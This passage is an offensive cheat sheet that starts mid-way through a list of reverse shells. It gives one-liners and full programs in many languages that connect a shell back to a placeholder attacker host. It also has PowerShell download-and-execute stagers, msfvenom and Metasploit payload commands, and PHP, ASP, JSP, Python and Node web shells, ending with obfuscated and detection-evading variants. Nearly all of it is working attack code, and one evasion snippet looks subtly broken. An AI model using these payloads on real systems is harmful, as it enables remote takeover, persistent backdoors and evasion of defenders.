php -r '$sock=fsockopen("ATTACKER_IP",4444); exec("/bin/sh -i <&3 >&3 2>&3");'
# Method 2: PHP system
php -r '$sock=fsockopen("ATTACKER_IP",4444); $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);'
# Method 3: PHP with socket
php -r '$s=fsockopen("ATTACKER_IP",4444); while(!feof($s)){$c=fread($s,2048); $o=shell_exec($c); fwrite($s,$o);} fclose($s);'
# === RUBY REVERSE SHELLS ===
# Method 1: Basic Ruby
ruby -rsocket -e 'exit if fork; c=TCPSocket.new("ATTACKER_IP","4444"); while(cmd=c.gets); IO.popen(cmd,"r"){|io|c.print io.read} end'
# Method 2: Ruby one-liner
ruby -rsocket -e 'f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# === SOCAT REVERSE SHELLS ===
# Method 1: Basic socat (most stable)
socat tcp-connect:ATTACKER_IP:4444 exec:"bash -li",pty,stderr,setsid,sigint,sane
# Method 2: Socat with TTY
socat tcp-connect:ATTACKER_IP:4444 exec:'/bin/bash',pty,stderr,setsid,sigint,sane
# Method 3: Encrypted socat (requires certificate on listener)
socat openssl-connect:ATTACKER_IP:4444,verify=0 exec:"bash -li",pty,stderr,setsid,sigint,sane
# Listener with encryption
socat openssl-listen:4444,cert=server.pem,verify=0,fork stdio
# === AWK REVERSE SHELL ===
awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
# === GOLANG REVERSE SHELL ===
echo 'package main; import"os/exec"; import"net"; func main(){ c,_:=net.Dial("tcp","ATTACKER_IP:4444"); cmd:=exec.Command("/bin/sh"); cmd.Stdin=c; cmd.Stdout=c; cmd.Stderr=c; cmd.Run() }' > /tmp/t.go && go run /tmp/t.go
# === LUA REVERSE SHELL ===
lua -e "require('socket'); require('os'); t=socket.tcp(); t:connect('ATTACKER_IP','4444'); os.execute('/bin/sh -i <&3 >&3 2>&3');"
# === JAVA REVERSE SHELL ===
# Runtime.exec method
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKER_IP/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
# === NODE.JS REVERSE SHELL ===
# Method 1: require child_process
node -e 'require("child_process").exec("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"")'
# Method 2: spawn
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, "ATTACKER_IP", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
# === OPENSSL REVERSE SHELL ===
# Encrypted reverse shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:4444 > /tmp/s; rm /tmp/s
# Listener
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
# === TELNET REVERSE SHELL ===
# Using telnet (when nc unavailable)
telnet ATTACKER_IP 4444 | /bin/bash | telnet ATTACKER_IP 4445
# === XTERM REVERSE SHELL ===
# Requires X11 forwarding
xterm -display ATTACKER_IP:1
# Listener (on attacker)
Xnest :1
xhost +targetip
# === SHELL UPGRADE TECHNIQUES ===
# Python PTY upgrade (most common)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z (background)
stty raw -echo; fg
# Press Enter twice
export TERM=xterm-256color
export SHELL=bash
# Script command upgrade
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
# Socat upgrade (on target if available)
socat file:`tty`,raw,echo=0 tcp-listen:4445
# On attacker
socat tcp-connect:TARGET_IP:4445 file:`tty`,raw,echo=0
# Adjust terminal size
stty size # On local machine
# Returns: rows columns (e.g., 38 116)
# On reverse shell
stty rows 38 columns 116
Windows Reverse Shells
## === POWERSHELL REVERSE SHELLS ===
# Method 1: PowerShell TCP (multi-line, most stable)
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
# Method 2: PowerShell one-liner
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Method 3: Base64 encoded PowerShell
$command = "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
# Method 4: PowerShell with SSL/TLS
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',443)
$stream = $client.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('ATTACKER_IP')
$writer = new-object System.IO.StreamWriter($sslStream)
$reader = new-object System.IO.StreamReader($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.Flush()
while(($data = $reader.ReadLine()) -ne $null) {
$sendback = (iex $data 2>&1 | Out-String)
$writer.WriteLine($sendback)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.Flush()
}
# === NETCAT FOR WINDOWS ===
# Traditional
nc.exe -e cmd.exe ATTACKER_IP 4444
nc.exe -e powershell.exe ATTACKER_IP 4444
# Ncat with SSL
ncat.exe --ssl ATTACKER_IP 4444 -e cmd.exe
# === POWERCAT ===
# Download and execute
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
powercat -c ATTACKER_IP -p 4444 -e cmd
# Encoded version
powercat -c ATTACKER_IP -p 4444 -e cmd -ge
# === METASPLOIT WEB DELIVERY ===
# Generate payload
use exploit/multi/script/web_delivery
set target 2 # PowerShell
set payload windows/x64/meterpreter/reverse_https
set LHOST ATTACKER_IP
set LPORT 443
exploit
# Execute generated command on target
# === COVENANT / EMPIRE STAGERS ===
# PowerShell Empire
powershell -noP -sta -w 1 -enc <BASE64_STAGER>
# Covenant launcher
powershell -Sta -Nop -Window Hidden -Command "IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/launcher'))"
# === CONPTYSHELL (MODERN PTY) ===
# Better than traditional reverse shells on Windows
# https://github.com/antonioCoco/ConPtyShell
# Server (attacker)
stty raw -echo; (stty size; cat) | nc -lvnp 4444
# Client (target)
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell -RemoteIp ATTACKER_IP -RemotePort 4444 -Rows 50 -Cols 120
# === C# REVERSE SHELL ===
# Compile and execute
using System;
using System.IO;
using System.Net.Sockets;
using System.Text;
class ReverseShell {
static void Main() {
using(TcpClient client = new TcpClient("ATTACKER_IP", 4444)) {
using(Stream stream = client.GetStream()) {
using(StreamReader rdr = new StreamReader(stream)) {
using(StreamWriter wtr = new StreamWriter(stream)) {
StringBuilder strInput = new StringBuilder();
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler((s, e) => { wtr.WriteLine(e.Data); wtr.Flush(); });
p.Start();
p.BeginOutputReadLine();
while(true) {
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
}
}
# === PYTHON ON WINDOWS ===
# If Python installed
python -c "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('ATTACKER_IP',4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['cmd.exe'])"
# === GOLANG REVERSE SHELL (WINDOWS) ===
package main
import "os/exec"
import "net"
func main() {
c, _ := net.Dial("tcp", "ATTACKER_IP:4444")
cmd := exec.Command("cmd.exe")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}
# === MSF VENOM PAYLOADS ===
# Staged payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o payload.exe
# Stageless payload (single file, larger)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o payload.exe
# HTTPS encrypted
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=ATTACKER_IP LPORT=443 -f exe -o payload.exe
# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f psh -o payload.ps1
# === ENCRYPTED REVERSE SHELLS ===
# PowerShell with AES encryption
# Requires custom C2 framework or manual implementation
# SSL/TLS wrapped reverse shell
# Use ncat --ssl or socat with SSL
# DNS tunneling reverse shell
# dnscat2, iodine
# HTTP/HTTPS reverse shell
# Use Empire, Covenant, Cobalt Strike
Web Shells
## === PHP WEB SHELLS ===
# Method 1: Minimal PHP shell
<?php system($_GET['cmd']); ?>
# Method 2: POST-based shell (harder to detect in logs)
<?php system($_POST['cmd']); ?>
# Method 3: Eval shell
<?php eval($_POST['cmd']); ?>
# Method 4: PHP with obfuscation
<?php @eval(base64_decode($_POST['c'])); ?>
# Method 5: Weevely encrypted shell
# Generate
weevely generate password shell.php
# Connect
weevely http://target.com/shell.php password
# Method 6: PHP with file upload
<?php
if(isset($_FILES['file'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
}
system($_GET['cmd']);
?>
# Method 7: Mini PHP shell with features
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}
if(isset($_REQUEST['download'])){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($_REQUEST['download']).'"');
readfile($_REQUEST['download']);
}
?>
# === ASP/ASPX WEB SHELLS ===
# ASP Classic
<%
Set objShell = Server.CreateObject("WScript.Shell")
Set objExec = objShell.Exec(Request.QueryString("cmd"))
Response.Write(objExec.StdOut.ReadAll())
%>
# ASPX
<%@ Page Language="C#" %>
<%
Response.Write("<pre>");
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
Response.Write("</pre>");
%>
# === JSP WEB SHELLS ===
# Method 1: Basic JSP
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
# Method 2: JSP with error handling
<%@ page import="java.io.*,java.util.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
StringBuilder output = new StringBuilder();
String line;
while((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
out.println("<pre>" + output.toString() + "</pre>");
} catch(Exception e) {
out.println("Error: " + e.getMessage());
}
%>
# === PYTHON WEB SHELLS ===
# Flask shell
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route('/')
def shell():
cmd = request.args.get('cmd')
if cmd:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return f"<pre>{result.stdout}\n{result.stderr}</pre>"
return "Python Web Shell"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
# Django shell
from django.http import HttpResponse
import subprocess
def shell(request):
cmd = request.GET.get('cmd', '')
if cmd:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return HttpResponse(f"<pre>{result.stdout}\n{result.stderr}</pre>")
return HttpResponse("Python Web Shell")
# === NODE.JS WEB SHELLS ===
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.get('/', (req, res) => {
const cmd = req.query.cmd;
if(cmd) {
exec(cmd, (error, stdout, stderr) => {
res.send(`<pre>${stdout}\n${stderr}</pre>`);
});
} else {
res.send('Node.js Web Shell');
}
});
app.listen(3000);
# === ADVANCED WEB SHELLS ===
# China Chopper (简单但强大)
<?php @eval($_POST['password']);?>
# B374k (feature-rich PHP shell)
# https://github.com/b374k/b374k
# WSO (Web Shell by Orb)
# Advanced PHP shell with file manager, SQL client, etc.
# C99 Shell
# Classic PHP shell with many features
# === OBFUSCATED WEB SHELLS ===
# Base64 encoded PHP
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>
# ROT13 encoded
<?php eval(str_rot13('flfgrz($_TRG[\'pzq\']);')); ?>
# === WEBSHELL DETECTION EVASION ===
# Split functions
<?php
$a = 'sys';
$b = 'tem';
$c = $a.$b;
$c($_GET['cmd']);
?>
# Variable functions
<?php
$_="{"; $_="$_"; $_="$_"."_"; $_="$_"."GET"; $_=$$_; $_=$_['cmd']; $_="$_"; $_="$_"."_";
$_=str_rot13('flfgrz'); $_($_['cmd']);
?>